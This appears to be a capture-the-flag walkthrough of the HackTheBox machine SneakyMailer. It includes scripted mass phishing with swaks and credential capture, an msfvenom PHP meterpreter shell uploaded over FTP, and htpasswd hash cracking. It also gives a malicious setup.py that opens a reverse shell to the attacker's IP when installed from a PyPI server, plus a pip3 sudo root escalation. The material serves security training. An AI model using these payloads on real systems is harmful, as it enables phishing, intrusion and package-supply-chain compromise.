Blog SneakyMailer - HackTheBox
Post
Cancel

SneakyMailer - HackTheBox

This HackTheBox can be found here.

Sneakymailer is included in TJnull’s OSCP, OSEP, and OSWE list.

Recon

Like always, we’ll start with a Nmap scan:

1
sudo nmap -T4 -p- -oN allports -sC -sV 10.10.10.197
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Nmap scan report for 10.10.10.197
Host is up (0.023s latency).
Not shown: 65528 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 57c900353656e66ff6de8640b2ee3efd (RSA)
|   256 d82123281db83046e2672d5965f00a05 (ECDSA)
|_  256 5e4f234ed4908ee95e8974b3190cfc1a (ED25519)
25/tcp   open  smtp     Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
80/tcp   open  http     nginx 1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
|_http-server-header: nginx/1.14.2
143/tcp  open  imap     Courier Imapd (released 2018)
|_imap-capabilities: ACL2=UNION THREAD=REFERENCES CHILDREN QUOTA NAMESPACE CAPABILITY UIDPLUS ACL THREAD=ORDEREDSUBJECT IDLE OK IMAP4rev1 SORT completed ENABLE UTF8=ACCEPTA0001 STARTTLS
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
993/tcp  open  ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: ACL2=UNION THREAD=REFERENCES CHILDREN QUOTA NAMESPACE CAPABILITY UIDPLUS ACL THREAD=ORDEREDSUBJECT IDLE AUTH=PLAIN OK IMAP4rev1 SORT ENABLE completed UTF8=ACCEPTA0001
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
8080/tcp open  http     nginx 1.14.2
|_http-title: Welcome to nginx!
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel


We have ports open for webapps and email services. We see a DNS entry for sneakycorp.htb so let’s add that to our /etc/hosts file:

1
echo '10.10.10.197 sneakycorp.htb' | sudo tee -a /etc/hosts


Port 21

I tried to connect to the FTP share anonymously, but it failed:

ftp anon fails


Port 80

Browsing to http://sneakycorp.htb shows us:

dashboard


Looking at http://sneakycorp.htb/team.php we see a list of users:

team


Port 8080

Browsing to http://sneakycorp.htb:8080 we see a default nginx page:

nginx


I wasn’t able to find anything else on this port.

Subdomain Enumeration

Running wfuzz, we see that there is a subdomain dev.sneakycorp.htb:

1
wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.sneakycorp.htb" --hc 301  -t 100 10.10.10.197

dev subdomain


We can add this to our /etc/hosts file:

1
echo '10.10.10.197 dev.sneakycorp.htb' | sudo tee -a /etc/hosts


Checking out the subdomain, we see a page similar to http://sneakycorp.htb:

dev subdomain


Right off the bat, the only thing I see different is link to register (the endpoint sneakycorp.htb/pypi/register.php is available on the main domain, but not listed on the page). After testing, we see the registration doesn’t work.

Phishing for a Foothold

I spent way too much time looking at the info I had, and eventually looked at a writeup to see that we had to send phishing emails. I first gathered all users from the team.php page using cewl:

1
cewl -e http://dev.sneakycorp.htb/team.php

cewl


After running cewl, we grab 57 addresses. We can make a bash script loop through the users and send an email with swaks. Before try to send emails, we need to add an additional entry to our /etc/hosts file in accordance with the emails we found:

1
echo '10.10.10.197 sneakymailer.htb' | sudo tee -a /etc/hosts


Now we can send the emailsL

1
2
# First start a netcat listener
nc -lvnp 1234
1
2
3
4
cat emails.txt | while read line
do
        swaks --body "<a href='http://10.10.14.8:1234/hi'>check this out</a> check this out http://10.10.14.8:1234/hi" --header "Subject: Hello" --to $line --from amartin@sneakymailer.htb
done


The above script takes a while to run (looking at the swacks docs, we could’ve specified all the users in the –to flag to speed this up), but eventually we get a connection to our netcat listener:

1
2
3
4
5
6
7
8
9
10
11
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.197] 49300
POST /hi'%3Echeck%20this%20out%3C/a%3E%20check%20this%20out%20http://10.10.14.8:1234/hi HTTP/1.1
Host: 10.10.14.8:1234
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded

firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
1
2
# URL Decoded as:
firstName=Paul&lastName=Byrd&email=paulbyrd@sneakymailer.htb&password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht^C

request from phish


We received a GET request back from paulbyrd@sneakymailer.htb containing the password of ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht


Since we have a set of credentials, I first tried to login through FTP, but they failed. I then went after paulbyrd’s email account.

Using evolution, we can use a GUI to connect to the server. We see only two emails were sent:

sent emails

1
2
3
4
5
6
Hello administrator, I want to change this password for the developer account

Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Please notify me when you do it
1
2
3
Hello low
Your current task is to install, test and then erase every python module you
find in our PyPI service, let me know if you have any inconvenience.


It looks like we have a new set of credentials for the developer account. I again tested them against the FTP server and was able to now login:

ftp login


Looking in the dev dir, we see web files. Because of the name, I’m guessing this is the webroot for http://dev.sneakycorp.htb:

ftp dev


I verified this by uploading a .txt file and browsing to http://dev.sneakycorp.htb/test.txt:

test


Let’s try get a PHP meterpreter shell:

1
2
3
4
5
6
# Start our listener
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST tun0
run
1
2
3
4
5
6
# Create and run our payload
msfvenom -p php/meterpreter/reverse_tcp LHOST=tun0 LPORT=4444 -o shelly.php
ftp developer@sneakycorp.htb
cd dev
put shelly.php
# Now browse to http://dev.sneakycorp.htb/shelly.php

www shell


We are able to grab a shell as www-data.

As I’m walking up the directory tree, I noticed the dir pypi.sneakycorp.htb:

pypy


I added this to my etc/hosts file, but browsing to http://pypi.sneakycorp.htb redirects us to http://sneakycorp.htb:

1
echo '10.10.10.197 pypi.sneakymailer.htb' | sudo tee -a /etc/hosts


Looking at the listening ports, we see that port 5000 is open and can only be accessed from localhost:

1
netstat -tulpn

netstat

pypi server


User.txt

After looking at the nginx config files, we see that we can access the pypi server from http://pypi.sneakycorp.htb:8080:

pypi server

internal server


If we click any of the links, we get a prompt for basic auth:

basic auth


After further enumeration, I found the hashed pass for pypi at /var/www/pypi.sneakycorp.htb/.htpasswd:

1
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

hash


I used hash-identifier to determine that this is a MD5(APR) hash (hashcat type-m 1600), and successfully cracked it:

1
2
3
sudo hashcat -m 1600 --username hta.hash /usr/share/wordlists/rockyou.txt

# Plaintext == soufianeelhaoui

hashcat


Logging in to the pypiserver with the creds just gives us two empty pages. Recalling from the email we saw earlier, someone is going ‘to install, test and then erase every python module you find in our PyPI service’, so let’s upload a malicious package.

To create a package to upload, we will need to create two files: .pypirc and setup.py

1
2
3
4
5
6
[distutils]
index-servers = sneakycorp
[sneakycorp]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import socket,subprocess,pty
from os import dup2

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.8",4321))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)

pty.spawn("/bin/bash")

from setuptools import setup, find_packages

setup(
    name="blah",
    version="0.1",
    author="foo",
    author_email="bar",
    url="http://sneakycorp.htb",
    description="blah",
    zip_safe=False,
    license="MIT",
    include_package_data=False
)


After we create the files,we need to run python setup.py dist to create the package. Next, we can start our netcat listener remotely upload it:

1
python setup.py dist upload -r sneakycorp


Note: Make sure you have .pypirc in your home directory.

We now have a shell as low and can grab user.txt:

userflag

Privilege Escalation

Checking sudo -l, we can see that low can run /usr/bin/pip3 as root:

pip3


This is an easy privilege escalation. We can follow the steps from GTFOBins to get a root shell:

1
2
3
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo /usr/bin/pip3 install $TF

root

rootflag

Contents